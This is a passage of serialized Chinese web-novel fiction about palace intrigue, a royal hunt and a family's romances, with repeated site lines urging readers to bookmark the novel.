“娘娘,要不您就忍忍吧?这卫国公死了,对我们来说是好事一桩,为了太子和您的孝悌之名,不如就忍耐几日?” 澜贵妃狠狠地咬了咬牙,最终还是一脸铁青地去了灵堂。 因为还没到入殓的时间,卫国公的遗体大刺刺地安放在灵堂中央供人瞻仰。 为别人的爹披麻戴孝已经让澜贵妃呕到了极点,跪在灵堂里的她,面对僵硬且发臭的遗体,澜贵妃一刻钟都没忍住,直接在灵堂里大吐了起来。 正诵经为卫国公超度的法师不得不打住,皱眉盯着她。 澜贵妃哪里受过这种罪,在不经意看到卫国公那吓人的遗容时,更是‘啊’地一声尖叫,然后眼白一翻,晕死了过去—— “贵妃娘娘!” “来人啊!快叫御医!” 灵堂瞬间乱成了一团。 周阳见状,只得让陈嬷嬷和宫女先把澜贵妃扶走,然后对法师说道,“卫国公的子媳远在他乡,这会儿应该在赶来的路上。事态特殊,本官也无能为力,还请法师酌情通融,能免的规矩就免了吧。” 法师听后,没有说什么,只闭上眼继续专注地念诵经文。 再说夜时舒这边—— 他们虽说是返京,可路上走走玩玩,几日功夫过去,他们还没走到一半路程。 京城派去济州城的队伍他们是瞧见了的。 “小妹,那不是澜贵妃身边的嬷嬷吗?”顾思沫指着远处队伍中的一个背影。 “嗯。”夜时舒也看到了。 夜时竣皱着眉说道,“那轿中的人难不成是澜贵妃?她这是去济州城找太子?” 夜时舒扭头朝尉迟凌看去。 尉迟凌对她勾了勾唇,说道,“国公爷已经离开济州城,那地儿随便他们折腾。” 换言之,他们没必要跟去。 夜时舒想了想,笑道,“那我们赶紧回京,趁着澜贵妃、太子、太子妃都在济州,我们正好准备游猎的事!” “嗯。”尉迟凌也不迟疑,搂着她飞身上了马背。 见状,顾思沫赶紧催促夜时竣,“别愣着啊,快跟上!” 夜时竣转身搂住她,笑得一脸痞气,“老是和他们在一起,想做点别的事都难,你就忍心看你夫君憋着?” 顾思沫脸红地踩他脚背,“没圆房前你不一直憋着的?” “那能一样吗?”夜时竣低头埋进她鹅颈中,小声说了两句。 顾思沫脸颊更是红透了,抡起粉拳就对他后背一通捶,“夜时竣,你要再这么没羞没臊,今晚你就自己睡!” 夜时竣抬起头,委屈地瘪嘴,“夫妻之间不该事事坦诚吗?我说说自己的感受还不行?本来就是嘛,你之前我又没有过女人,什么都不懂,现在有媳妇了,要是还跟以前一样清心寡欲,那我才有问题呢!” 顾思沫正羞窘得不知该拿他如何办时,前面突然传来马儿的嘶鸣声。 他俩下意识抬头望去。 就见尉迟凌和夜时舒同骑的马儿停了下来,那马头前站着一个陌生的身影。 “时竣,快上去看看!” 前面道路上—— 夜时舒一脸黑线地看着突然迸出来的女子,要不是尉迟凌眼疾手快力气大,马儿铁定要将这女子撞飞出去。 “姑娘,为何拦我们去路?” 女子指了指前方,又指了指身后,说道,“我迷路了,请问大邺国京城往哪边去?” 夜时舒,“……” 她不顾疾驰的马儿冒死蹦出来就为了问路?! 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第176章 说不定明年就当爹了 仔细打量这女子,发现她不仅举止怪异,连穿着也异于大邺国女子。 上半身松松垮垮的马褂,下半身黑色劲裤,也不知道多久没换洗过了,都脏得快发亮了。 说她邋遢吧,可那脸盘又秀美干净,发髻盘得跟道姑似的一丝不苟。一双黑乌乌的大眼睛清澈明亮,也不像是包藏心机之人能有的。 最惹眼的是她背上背着一把斧头…… 夜时舒回头朝尉迟凌看去,想问问他对此女的举动有何看法。 尉迟凌眸光沉冷地盯着女子,道了句,“北上百余里便可到京城。” 女子朝身后望去,眨了眨眼后,还想说什么。但许是尉迟凌的神色太过冷漠,她张着的嘴不由得抿紧,然后往路旁退去。 “驾!” 尉迟凌脚踢马腹,疾驰而去。 夜时竣和顾思沫追上来,路过女子,都盯着她打量了一遍。确定女子身上没有危险的气息后,才扬鞭离去。 女子望着他们远去的背影,秀气的眉头皱了皱以后,眼神莫名地变得坚定,然后拔腿朝他们的方向追了去—— …… 客栈里。 夜时舒付了房租定好了房间,又在大堂里点了酒菜。 四人正吃喝着,就见先前的女子进来。 “客官,您是打尖还是住店?”跑堂的伙计笑眯眯地迎了上去。 “能给我一口水吗?”女子讨好地问道。 伙计一听,立马拉长了脸。特别是在打量完女孩脏兮兮的穿着后,直接挥手,“走走走,我们这里不收乞丐!” 女孩朝夜时舒他们的方向看来。 但她不是看他们四人,而是望着他们桌上的酒菜狠狠地咽起了口水。 夜时舒他们虽然没有刻意去看她,但都打起精神用余光观察着她。 不为别的,就为这女子的速度…… 他们是快马加鞭到这镇上的,而女子靠着双腿却只慢了他们一炷香的时间,要让他们对这女子没有提防的想法,那绝对不可能! “快走快走!” 在伙计挥赶下,背着斧头的女子只能怂拉着脑袋退出客栈。 尉迟凌低沉道,“吃吧,吃完了去看看。” 顾思沫说道,“王爷、小妹,这女子不似大邺国人,一会儿我去会会她。” …… 客栈外面的墙根下,女子蹲坐着,一双大眼像是蒙了灰,迷蒙呆滞地望着过路的行人。 “姑娘打哪来?”顾思沫将手里的东西递向她。 看着散发热气的白面馒头,女子眼中瞬间有了光。她一点都没客气,接过馒头就狼吞虎咽咬了起来。 “我……我是来大邺国京城寻亲的!” “姑娘不是大邺国人?”顾思沫微笑着问她。 “我不是大邺国的人,但我家挨着大邺国。”女子一边大口嚼馒头一边回她,“我哥说他兄弟在大邺国京城,让我来寻人,可是我迷路了,在大邺国跑了半年,盘缠都花完了,还没到京城。” 顾思沫仔细地看了看她身上快起包浆的衣物,忍不住掩嘴失笑。 女子吃完馒头,突然将背上的斧头取下,“我叫离瑶,多谢姑娘的馒头,我没什么好报答你的,身上就只剩这把斧头了,还请你不要嫌弃。” 顾思沫汗,“……” 谁送礼送斧头的? 女子见她不为所动,双肩不由地垂下,“好吧,我知道姑娘瞧不上这破斧头。” 顾思沫干笑,“你一个女子出门在外,这斧头应该是你防身用的,我哪能要呢?何况一个馒头而已,不用放在心上。” 女子认真问她,“不知如何称呼你?” “萍水相逢,姑娘无需记挂。” “你们是去京城的吗?你告诉我姓名,等我到了京城,找到我哥的兄弟,我会定登门道谢的!” “不用。”顾思沫笑了笑,转身离去,很快进了客栈。 得知女子没什么可疑的后,夜时舒他们也放下了心来。 在客栈住了一晚,第二天天亮,他们又快马加鞭往京城赶。 因为没再见到那个女子,所以这一次偶然的邂逅,很快便被他们抛在了脑后。 …… 将军府。 看着他们四个安然无恙地回来,夜庚新总算安了心。 只是他也有不满的,“国公爷都回京好些日子了,你们跑哪浪去了?人不回来也就算了,连个口信消息都没有!” 夜时舒笑呵呵地哄他,“爹,我们就是难得出去,所以贪玩了些。” 夜庚新舍不得骂她,只能瞪着老二,“肯定又是你带的头!都成亲了,说不定明年就当爹了,怎还同以前一样任性?” 夜时竣嬉皮笑脸地回道,“京城里大事小事烦不胜烦,我要想当爹,不得找个清净点的地方跟芯儿好好亲亲我我?” “你!”夜庚新被儿子堵得无言以驳。 顾思沫红着脸把头埋到了胸前。 夜时舒笑着打圆场,“好了,爹,我们累了,你让我们先去休息好吗?” 夜庚新皱眉道,“休息什么?皇上已经下旨让我准备游猎的事,地点就在望秋山,你们想做什么,赶紧去安排!” 夜时舒一听,赶紧朝尉迟凌看去。 交换过眼神后,她正色道,“那好,今晚我们就去望秋山踩点!” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第177章 就你是孤家寡人! 九姑道,“王妃,这刚回来,用过吃的休息一晚再去吧。” 夜时舒看着她眼中的关切,不忍拒绝,便笑着应道,“好!许久都没吃九姑做的菜了,我在外面都馋得紧!” “王妃,您和王爷先回房洗漱,奴婢已经让人准备好了食材,现在就去做。”九姑说完便急匆匆往厨房去了。 夜时舒朝自己老爹挑眉,“爹,日子挑好没有?打算何时办喜事啊?” 一把年纪被儿女追着问婚事,夜庚新老脸都红了。但这种事再不好意思也得有个交代,清了清嗓子后,他道,“已经立了婚书,就是摆酒的日子还未确定好。你们也知道的,九姑她不想张扬,可我名正言顺续弦,不想她将来被人非议。” 夜时舒想了想,“要不这样吧,等皇上举办的游猎过了,再摆酒如何?” 尉迟凌看她眸光微闪,随即也说道,“就按舒儿说的吧,游猎之后再摆酒。本王会找时间同九姑好好谈谈,打消她心中的顾虑。” 闻言,夜庚新欣喜地拱手,“那就让王爷费心了!” 九姑的顾虑大家都明白,她若是做了将军府续弦,那便是将军府正儿八经的主母。可九姑出身不高,一下子就成了一品将军府夫人,她惴惴不安也是自然的。 夜时珽看着他们四人皱巴巴的衣裳,笑着催促,“都各自回房梳洗吧,有何话等会儿我们边吃边说。” 尉迟凌和夜时舒也没立即回悦心院,而是先去看望了闵文骞。 看着他们回来,闵文骞高兴得要下床,“凌儿、舒儿,你们可算回来了!” 尉迟凌上前扶他靠着枕头,又亲自为他把了把脉,说道,“国公爷身子恢复得极好。” 闵文骞老眼中闪过一丝失落。 多想他能叫自己一声外祖父…… 不过短暂的伤感后,他又面带笑容,“将军待我很是周到,比你舅舅、舅母照顾我还要细致,我都觉得我是来将军府养老的!” 夜时舒笑道,“国公爷,您喜欢就好,我们就怕您住不习惯。” 闵文骞慈爱地看着她,“我可不会同你们见外!” 他身体虽然还是削瘦,但精神面貌、说话中气比在济州好了不少。 尉迟凌和夜时舒对视一样,彼此都安了心。 随即夜时舒就对闵文骞说道,“国公爷,可能还要委屈您一阵子,我和王爷最近要外出一趟,暂时不能陪您。” 闵文骞点了点头,“你们有事尽管去忙,只是一定要答应我,务必照顾好自己。” “我们会的。” 夫妻俩向他拜别后,这才回悦心院梳洗。 晚膳很丰盛。 九姑带着丫鬟仆从做了一大桌子菜,似是觉得他们在外没吃到好东西要给他们补回来。 这也是一家人头一次围坐在一起用餐。 九姑还不愿落座的,被夜时竣硬拉到夜庚新身旁坐下。 有夜时竣在,气氛绝对不会冷场。 大家动筷还没吃到两口,他就突然盯着夜时珽调侃,“大哥,你有没有发现你与我们有何不同?” 夜时珽下意识扫了一圈,紧接着就黑了脸。 夜时竣‘哈哈’大笑,“现在我们家就你是孤家寡人!” 夜时珽直接夹了一块鸡腿塞进他大笑的嘴里,咬着牙道,“你不说话没人当你是哑巴!” “唔!”夜时竣拿下鸡腿,一边抹嘴一边不满地瞪他,“我说实话而已,你干嘛动粗啊?这般粗鲁,当心讨不到媳妇!” 夜时珽磨牙,“……” 看他恨不得咬人的样子,夜时舒也忍不住失笑,“以前爹老是说二哥顽劣娶不到媳妇,现在二哥有了二嫂,恨不得带着二嫂向天下人炫耀!大哥,你别说,这一点你还真输给了二哥,你得努力哦!” 除了夜时珽,桌上人全在笑。 可夜时珽又能如何? 摊上这么两个弟弟、妹妹,还不是只能惯着! 一家人在嘻嘻哈哈中用完膳。 夜时舒他们趁夜又离开将军府前往西北大军所驻扎的望秋山。 因为军营重地,夜时竣没有调兵遣将的权利,夜庚新便让老大夜时珽随他们前去。 夜时珽一路上俊脸都是黑的。 前面一对手牵手,后面一对打情骂俏,他孤家寡人走在中间,莫名的就有一种犯了事被人押送的感觉。 望秋山上驻扎了数万将士。 到第一处哨口时,一名副将从营帐里出来接迎他们。 “大公子,将军早已知会说你们回来,特意让末将提前在此等候。” 夜时珽朝他介绍,“李岩,这是承王殿下和王妃。” 副将一听,忙领着士兵行礼。 尉迟凌道,“免礼。” “谢承王殿下!” “听说望秋山风景秀美、野兽繁多,父皇想在此举办游猎。但望秋山地势险峻,为了大家安危着想,父皇特命本王提前勘查地形。” “是!”李岩从怀里取出一枚牛角做的哨子,双手呈上,“承王殿下,若有需要,以三哨声为号,自有人前来接应!” 尉迟凌伸手接过,然后转身挂在了夜时舒腰间。 就在夜时珽正准备带着他们上山时,突然远处传来尖锐的哨声。 李岩一听,大叫,“不好,有人擅闯军营重地!” 夜时珽和夜时竣兄弟二人同时变了脸。 他们刚到望秋山就有人擅闯,莫非是有人跟踪他们? 于是兄弟二人都没等李岩向士兵下令,便先朝那哨声响起的方向飞去。 夜时舒、尉迟凌、顾思沫也快速追了去。 一群士兵正在追一个黑影。 夜时舒他们老远就看到了。 但那黑影身手矫健,轻功更是一流,那些士兵追得费力不说,还被甩出去好远。 眼见那黑影朝一处山丘飞去,夜时舒他们直接跃过众多士兵奋力猛追。 而那山丘顶山是士兵们平日操练的场地之一,光零零的,黑影到了后才发现无处可藏,一时间急得在原地打转。 夜时珽先落地,盯着对方冷声问道,“你是何人?为何擅闯军营?” 夜时竣落在他身旁,正想上前擒人,不经意间借着月光看到对方的模样,蓦然惊讶,“是你?” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第178章 不是娶你回来当阿猫阿狗的 黑影定眼朝他看过来。 正巧夜时舒、尉迟凌、顾思沫也赶到了。 几人一对面,都不由地惊愣。 黑影突然飞奔到顾思沫面前,拉着她的手激动地道,“姑娘,你还记得我不,我是离瑶啊!” 顾思沫虽没有甩开她,但面色沉冷,语气也充满了审问,“离瑶姑娘,你为何会来此?” 离瑶突然仰头,‘哇’地一声哭了起来,“我本想跟着你们来京城的,但你们离开客栈时我刚好在别处找吃的,就把你们跟丢了!然后我又迷路了,不知道怎么就跑来了这里,然后就被他们追……” 顾思沫汗,“……” 夜时舒和尉迟凌没说话,只安静地观察着她。 夜时竣抱臂,眼神斜睨地反问,“不是我说,姑娘,你这么大个人了,还会迷路?迷到哪里不好,刚好是有我们的地方,而且还是军营重地,你说天下有这么巧的事?” 离瑶刹住哭声,泪眼婆娑地看着他,“我说的是真的!我的确是想跟着你们去京城,可是一到晚上我就分不清东南西北,我不知道‘北上’该往哪边……” 正在这时,士兵们也赶到了。 夜时珽沉声下令,“来人,把她拿下!” 闻言,离瑶扭头朝他看去,一脸惊恐,然后紧紧抓住顾思沫的手,带着哭腔哀求道,“姑娘,求你帮我说说话,我真不是故意来这里的……我只想到大邺国京城找人,我不是坏人啊!” 夜时舒对士兵抬手示意,她朝离瑶走近,一边提防她的举动一边假装好意地问道,“离瑶姑娘,你大老远来我国京城找人,不知那人姓甚名谁,家住何处?如果你能说出来,我们可以带你去找。” 离瑶看向她,哽咽道,“我哥说他姓夜,家在大邺国京城,但是住哪里他也不知道。” 姓夜? 夜时舒微微蹙眉,紧接着问她,“你哥叫什么?” “我哥叫离傲。” “你哥叫离傲?”夜时珽突然出声,低沉的语气中带着一丝惊讶,“你是离傲的妹妹?” 离瑶转向他,也惊讶反问,“你认识我哥?你姓夜吗?” 夜时珽没回她的话,只是又冷起脸问她,“你哥叫你来京城找他做何?” 离瑶放开顾思沫的手腕,低下头小声说道,“北蔺国四皇子说看上了我,要强行与我们部落联姻。我哥让我来大邺国避难,说姓夜的公子欠他一个人情,肯定会帮我的。” 夜时竣忍不住朝夜时珽挑眉,“大哥,你啥时候欠人人情了?” 夜时珽压着嗓门回他,“就是我拿回紫参那次。” 夜时竣惊诧地张大嘴,“那次爹受伤,给爹用的那株紫参不是你采的?” “不是,是问九黎部落头领讨要的。” “呃……”夜时竣比了比大拇指,“你厉害,居然敢去九黎部落讨东西!” 听着两位兄长的谈话,夜时舒也算明白了前因后果。 确定这个叫离瑶的女子不是什么奸细后,她也默默地退回尉迟凌身旁。 夜时珽负手走向离瑶,直言问道,“你想我如何帮你?” 离瑶抬起头,一边用手背抹着眼泪一边回道,“我哥说让我在大邺国躲上几年,等到北蔺国四皇子死心了再回去。” 夜时珽剑眉蹙紧。 离瑶见他不语,突然从怀里拿出一枚玉佩,哽咽道,“夜公子,我哥说你在大邺国边境多年,是个人物,你肯定不会食言的,对吗?” 那玉佩就是当年夜时珽欠人人情的信物,夜时珽伸手接过,随即吩咐两名士兵,“你们护送离瑶姑娘去将军府,让九姑安顿她。” “是!” 他借着对离瑶解释,“你先回我家,我还有事要做,过几日才能回去。” 见他愿意收留自己,离瑶立马开心地笑了,“那我就回家等你啊!” ‘噗’! 夜时竣冷不丁喷笑。 他这一笑,让夜时舒和顾思沫都忍不住跟着偷笑。 夜时珽立马给他们每人一记刀眼。 离瑶跟着士兵离开了,她纤瘦的背上还绑着那把斧头,看起来莫名的滑稽。 有些玩笑心里过过就好,夜时舒随即一脸认真地说道,“大哥,听说北蔺国使节要不了多久就会来京城与骆丽娴认亲,你现在把这离瑶留下,合适吗?” 夜时珽垂眸看着手中的玉佩,低沉道,“不适合也没法。当初爹受伤,战事又紧迫,周叔说九黎部落有紫参,可以让爹的伤势痊愈得更快,我便瞒着爹去九黎部落讨了紫参。既然答应了对方要还这份人情,那便没什么好说的。就算北蔺国知道离瑶在我们这里,我也必须得保下她。” 夜时竣也不开玩笑了,正色道,“大哥,放心吧,既然九黎部落对爹有恩,那我们肯定会保护好离瑶!” 夜时舒转头朝尉迟凌看去。 这事往小了说是还恩情,可往大了去想的话,可不只是私人恩怨。 尉迟凌显然是看出她心中不安,牵着她的手勾了勾唇,“先把我们当下要做的事做好了再说,你说踩点,还得你挑地方。” “嗯。” …… 将军府。 看着浑身脏兮兮但模样又秀丽的陌生女子,在听完士兵带回来的话后,夜庚新脑袋都有些转不过弯。 他朝九姑使了使眼色。 九姑哭笑不得。 她哪里懂啊? “离瑶姑娘是吧?你和我家时珽何时认识的?你家在何处?家中做何行当?” “我……我和夜公子刚认识……我家在……在大邺国边境……家里……家里什么行当都做。”面对威严的夜庚新,离瑶紧张得结巴,生怕下一刻自己被赶出去。 “你们刚认识他就把你往家领?”夜庚新不敢置信地睁大双眼,心下暗道,难道老大受了什么刺激? “将军,您别赶我走,我只想有个窝,有口饭吃就行。我……我很好养活的。”离瑶一脸哀求地望着他。 夜庚新瞬间板起脸,“你说的这是什么话?你进了门就是我夜家长媳,不是娶你回来当阿猫阿狗的!” 第179章 难道太子不想参与? “长……长媳?”离瑶使劲儿地眨眼,反应过来他误会自己后,赶忙摇头摆手,“不不不……将军误会了!我是来避难的,不是来给您做儿媳的!” “避难?”夜庚新眉头揪起,反复打量她,“避什么难?你说你家在边境,难道你是流放的罪人,私自逃回来的?” “不不不……”离瑶头摇得跟拨浪鼓似的。 “将军,您别吓到她了。”九姑嗔了夜庚新一眼,随即走到离瑶面前,微笑着与她说道,“离瑶姑娘,既然是大公子安排的,那你便在府中住下吧。有什么,等大公子回来再说。” 离瑶感激地红了眼眶,“只要你们不赶我走,要我做什么都行!” 九姑只笑不应。 她来将军府的时日虽然不长,但也逐渐掌握了夜家父子的脾性。夜时珽沉稳内敛,不可能去惹是生非,更别说主动招惹女子了。如果有与他攀扯的人,想必其中一定有内情。 既然是他亲口同意这位女子住进将军府,那便没什么好盘问的,先把人安顿好再说。 随即她跟郝福商量,把汀兰院旁边的梅林院收拾出来,让离瑶暂时住进去。 她还亲自挑了两个丫鬟去梅林院伺候。 等离瑶随着郝福离开后,夜庚新紧锁着眉头,百思不得其解,“九姑,你说时珽他到底要做什么?” 九姑瞥了他一眼,“大公子人品端正,断不会无缘无故把女子往家领,此女子能受大公子特殊照拂,定是有内情。您别胡思乱想,当心把客人吓到。” 夜庚新想起先前的误会,自己都忍不住尴尬,笑说道,“我以为时珽开窍了,不然怎么能让陌生女子来家中……好了,这事我不管了,你看着办吧。” 九姑无语,啥叫她看着办? 不过仔细想想,来客是女子,这将军府里也就她方便出面。 “将军,没别的事了你就回书房吧,我去梅林院瞧瞧。” “急什么?我这刚下朝回来,你就不能多陪陪我?”夜庚新不悦地瞪着她。 正在这时,门房侍卫突然来报,“将军,裕丰侯来了。” 九姑掩嘴笑道,“有裕丰侯陪将军说话,我就不打扰你们了。” 夜庚无语地目送她离开,转头对侍卫说道,“快请侯爷进来。” 如今游建川取代游建彬做了裕丰侯,隔三差五便会来将军府走动。 与游家疏离了十几年,如今两家关系开始修复,夜庚新自然是高兴和欣慰的。 …… 望秋山。 夜时舒他们五人在山里待了三日才回城。 尉迟凌去了宫中。 除了望秋山准备的事需要向尉迟晟禀报外,有关济州城卫国公府发生的事以及闵文骞被偷偷藏进致和将军府的事,他也需要亲自向尉迟晟说明清楚。 夜时舒不想一个人回王府,自然是随着两位兄长又去了将军府。 见他们回来,夜庚新并没有问望秋山的事,而是直接把老大叫去了书房。 得知前因后果后,夜庚新赞许了儿子的做法,还自侃道,“原来是我的救命恩人,幸好我没有为难她!” 离开书房后,夜时珽出于礼貌,去了梅林院。 院里没人,他听到花厅有动静,便直接去了花厅。 刚迈进门槛,整个人便僵住了。 这还没到用膳的时候,桌上就摆了一桌吃的,烧鹅烧鸭大肘子,丰盛得好似过大节。 一女子捧着一只烧鸡,埋着头大口地啃咬着,整张脸都贴到鸡身上了还浑然不知…… “见过大公子。”两个在花厅里伺候的丫鬟见他来了,赶忙上前行礼。 离瑶抬起头,嘴里包着食物,腮帮子鼓鼓的。 愣了一下,她猛嚼食物,使劲儿咽下,然后一边用手背抹着嘴角一边起身相迎,“大公子,你回来了?” 夜时珽眼角狠狠抽了一下,盯着她满脸的油,故作关心地问道,“不知离瑶姑娘在此住得可习惯?” “习惯习惯……太习惯了!”离瑶咧嘴大笑,指着桌上丰盛的菜肴,说道,“我从小到大吃的都是野味儿,来京城的路上看到有卖这些,可惜盘缠不够,吃不起。九姑听说我没吃过家养的禽类,特意让人给我做了许多,我这辈子就没吃过这么好吃的肉!” 夜时珽去过九黎部落,自然了解他们的饮食习惯,对她的喜好倒也不惊奇。 只是看她那饿死鬼投胎般的吃相,他还是有点接受无能。 但出于礼貌,他也只能微笑着点头,“离瑶姑娘不嫌弃就好。” “大公子,你吃过没有,不如坐下一起吃吧?”离瑶热情地邀他。 “不了,我还有事,你慢用。”夜时珽干笑着婉拒。 面前的女子换了他们大邺国的服饰,崭新靓丽的襦裙将她少女的清纯和秀丽全部展现了出来,跟那晚背着斧头一身脏污活似难民的样子相比,顺眼多了。 只是面对她一手的油,再看桌上连副碗筷都没有,他实在不敢想象自己与她一块进食的模样…… “那行吧,既然大公子有事,我就不留你了。”离瑶也没挽留他,转身就回了桌边。 “……”夜时珽僵硬地看着她,一时间都不知道该摆什么表情。 …… 澜贵妃在济州城待了十日。 短短十日,于她而言简直度日如年。憋了一肚子火的她一回宫都没去见尉迟晟,直接以身子抱恙为由回澜霞宫了。 尉迟晟见了太子和太子妃,不但赞许了他们夫妻的孝心,还给了不少赏赐。 “太子妃气色怎如此差?可是哪里不适?”见祝华凝脸色苍白,尉迟晟关心地问她。 “回父皇,儿媳没什么。”祝华凝低着头回道。 但尉迟睿却没憋住恨意,直接诉状起来,“父皇,太子妃原本怀有身孕,结果去了济州城后,让承王和承王妃害流产了!” 尉迟晟眸底闪过一丝凌厉,只是下一瞬,他惊讶道,“太子妃何时有喜的?为何不曾听你们说起过?”接着他没好气地瞪着祝华凝,“你也是的,既然怀了身孕,为何要随太子去那么远的地方?这可是我尉迟家的长孙,就这么被你弄没了!” 对于儿子的诉状,他仿佛没听到。 尉迟睿恼怒的还想说什么,祝华凝先开口抢了话,“父皇,儿媳知错了。儿媳会尽快调理好身子,争取早日为尉迟家开枝散叶。” “父皇……” “好了,朕知道你们这一趟去济州城很是辛苦,快回东宫休息吧。朕准备在望秋山举办游猎,邀了不少重臣和世家公子,后日就出发。太子妃刚小产,身子需要休养,就别去了。太子好生准备,这次游猎可是有大彩头的,你身为储君,可不能输哦!” “游猎?”尉迟睿告状不成,还被突来的消息惊到了。 “有何问题吗?”尉迟晟对他皱了皱眉,“难道太子不想参与?” 第180章 多见几头猛兽就凉爽了 “儿臣……” 尉迟睿还真是不想参与! 毕竟他武艺不精,让他去打猎等于让他去吃苦受累。再者,他已经被闵文骞的丧事折磨够了,吃饱了撑的才会去山里受苦! 只是他的话还没说完,祝华凝便替他应道,“父皇放心吧,太子他会去的。” 尉迟睿脸黑地瞪着她。 祝华凝给他使了个眼色。 随后夫妻二人离开御书房。 还不等回到东宫,尉迟睿便发作了脾气,怒斥道,“谁让你替本宫应下的?” 祝华凝沉着脸道,“这次游猎是除掉尉迟凌和夜时舒最好的机会,难道殿下想放弃吗?” 尉迟睿抿唇沉默。 祝华凝让青翠带着宫人去旁边把风,她再接着说道,“平日里我们要对付尉迟凌和夜时舒,不是顾忌这样就是顾忌那样,要是去了深山中,还需要顾忌什么?就算明目张胆把人伤了,还能说是误伤呢!” 尉迟睿神色舒展,眼中的不满全被阴鸷和算计取代。 确实如此。 在深山里狩猎,就算伤到了人也可以说是误伤,如此好的机会他绝不能错过! “好!”他咬着牙道,“我一定要替我们的孩儿报仇雪恨,让尉迟凌和夜时舒死无葬身之地!” 祝华凝双手放在自己平坦的小腹上,通红的眼眶中布满了恨意。 承王府。 夜时舒推开书房门,见男人正在看书,忍不住调侃他,“就没见过哪个人像你这般不求上进的!” 尉迟凌将手中书册放下,挑着眉朝她伸手。 夜时舒绕过书桌,不等他抓,自觉地坐到他腿上,笑着说道,“听说他们回宫了,我还以为你会去宫里呢。” “去宫里做何?”尉迟凌蹙眉反问。 “看他们热闹啊!” “不怕影响心情?” “呵呵!以前觉得影响心情,现在我看他们吃瘪的样子上瘾了!”夜时舒抬手捧着他俊脸,现在是越看越喜欢。 被她如此‘轻薄’,尉迟凌也不示弱,大手在她腰间磨蹭着。想到某些画面,他眸光渐渐灼热,突然凑到她耳边,懊恼地道,“昨晚就不该那么早放过你!” 夜时舒笑嗔着把他俊脸推开,“说正事呢,你别一天到晚的都想着那事!” 尉迟凌捉着她双手,偏头在她唇上啄了啄,眉眼绽放的笑挑衅又邪魅,“就想了,你能如何?” 夜时舒脸红地瞪了他一眼,然后转移话题,“父皇不是说让你接替大学士之职吗?你打算何时上任?还有秋闱,父皇让你做主考官,都不见你有何准备!” 尉迟凌勾着唇道,“待游猎过后再上任也不迟。至于秋闱,又不是我出试题,我操那么多心做何?父皇将此事交给我,是想我能趁此机会挑选可用之人做我的拥趸,若朝堂有何变故,方可有替用之才。” 夜时舒点了点头,“如果父皇真打算让你入朝分担政事,那确实需要培养自己的势力。” 正说着话呢,她腰带松散开来。 “你……唔……” “嘘,小声些。”尉迟凌抵着她唇瓣,眉梢朝她身后挑了挑。 夜时舒下意识地回头想看看门口是否有人,结果尉迟凌趁她分心之际抱起她就往书房内阁去—— …… 天子要游猎,排场自是浩荡壮大。 除了朝中不少重臣外,这次还特许了世家贵胄的公子参与。 这种能在天子近前表现的机会,让各勋贵家中的男儿欣喜若狂,个个都攒足了劲儿准备大显身手。 但如此盛大的活动,也有抵触的。 比如说澜贵妃。 刚从济州城回来,休养不到两日便被尉迟晟点名陪同。 她本来是不打算参与的,有太子前去,她只需要在背后安排人手助力,实在没必要去深山老林受罪。 可尉迟晟却当着她的面告诉她,如果她不去,便让另一名妃子陪同,气得她差点吐血。 深深老林中,帝王身边时时刻刻都需要人伺候,她若不去,不就等于白给其他女人上位的机会? 一咬牙,她自然是必须去。 望秋山本是军营重地,平日里就守卫森严,外人进山的可能性几乎为零,不安全的因素主要是山中猛兽。 队伍浩浩荡荡入山,在山脚下安营扎寨。 澜贵妃的营帐是尉迟晟亲自为她挑选的,前靠大树、背靠山壁,遮阴蔽日,算是位置最佳的了。 可刚进营帐不到一刻钟,澜贵妃就训斥起了士兵,“早知道我们要来这里,为何不提前除掉蚊蝇,是想让皇上被叮咬得满头是包吗?” 士兵去拿了驱虫的药粉,在她营帐周围洒了个遍。 澜贵妃越郁闷越觉得燥热,于是又指着士兵问,“如此炎热的天气,连冰块都没有准备吗?” 士兵回道,“贵妃娘娘,山里夜间凉爽,用不着冰块。” 澜贵妃怒道,“你说用不着就用不着?若是本宫中暑,你有几颗脑袋够砍?去!给本宫拿冰块来!” 士兵离开了。 可是许久都没回来。 澜贵妃闷热得难受,便让陈嬷嬷去找人。 陈嬷嬷刚走出营帐,就见尉迟凌和夜时舒朝这边过来。 “见过王爷、王妃。” “嬷嬷不在帐里陪母妃,这是要去哪?”夜时舒关心地问道。 “回王妃,娘娘酷热难受,想让奴婢去找些冰块。听闻这次游猎是夜将军负责的,也不知夜将军是否有准备冰块?” “没有准备冰块。”夜时舒回得也很直接,“这山里树荫蔽天,日落后比秋日还凉爽,用不着冰块。” “可是……”陈嬷嬷皱着眉还想说什么。 尉迟凌沉声打断她,“若母妃觉得酷热,可随本王入山过夜。山中猛兽多,多见几头猛兽自会有一身冷汗,如此便凉爽了!” 第181章 太子和承王都被绑劫了 陈嬷嬷忍不住瞪眼,“王爷,你怎能如此对待贵妃娘娘?” 尉迟凌指着不远处树荫下的营帐,低沉的嗓音突然拔高,“所有营帐,就这顶营帐不受风吹日晒,原本是给父皇用的,父皇体恤母妃娇贵,便让给了母妃。可母妃娇贵得实在太过,整个望秋山不论山上山下、不论将士、官员、世家公子,无一人称苦叫累,她一来不是这般要求就是那般命令,半点不体恤人。如她这般只在乎安逸享乐,那叫那些不畏严寒酷暑也要操练、不畏生死也要上阵杀敌的将士如何作想?” 陈嬷嬷脸色青白交错,低着头一句话都说不上来。 而不远处,听着帐外的声音,澜贵妃指甲都快掐破手心了。一脸难堪的她忍不住要冲出帐外,可她刚抬脚两步,就见尉迟晟从帐外进来。 “皇……皇上……” 尉迟晟背着手,龙颜布满了怒火,出口更是严厉,“澜贵妃,你连这点苦头都吃不了吗?这是军营重地,当着将士的面耍娇贵,你让那些为国抛头颅洒热血的将士如何作想?这些年你执掌中宫,真是把自己养得目中无人了!亏得朕还想立你为后,你如此只顾自己享乐、不顾他人疾苦,如何能当一国之母?” “皇上,臣妾没有……臣妾不是……”澜贵妃惶恐的摇头否认。不是没被帝王责备过,但以往她最多被责备对承王不上心,还从未像今日这般,说她不配为后! “你真是太叫朕失望了!”尉迟晟咬牙说完,转身阔步离开了她的营帐。 他的那些话不停的在澜贵妃脑中回荡,像棒槌一样不停地敲打着她的头,让她不仅头胀,心也慌得厉害。 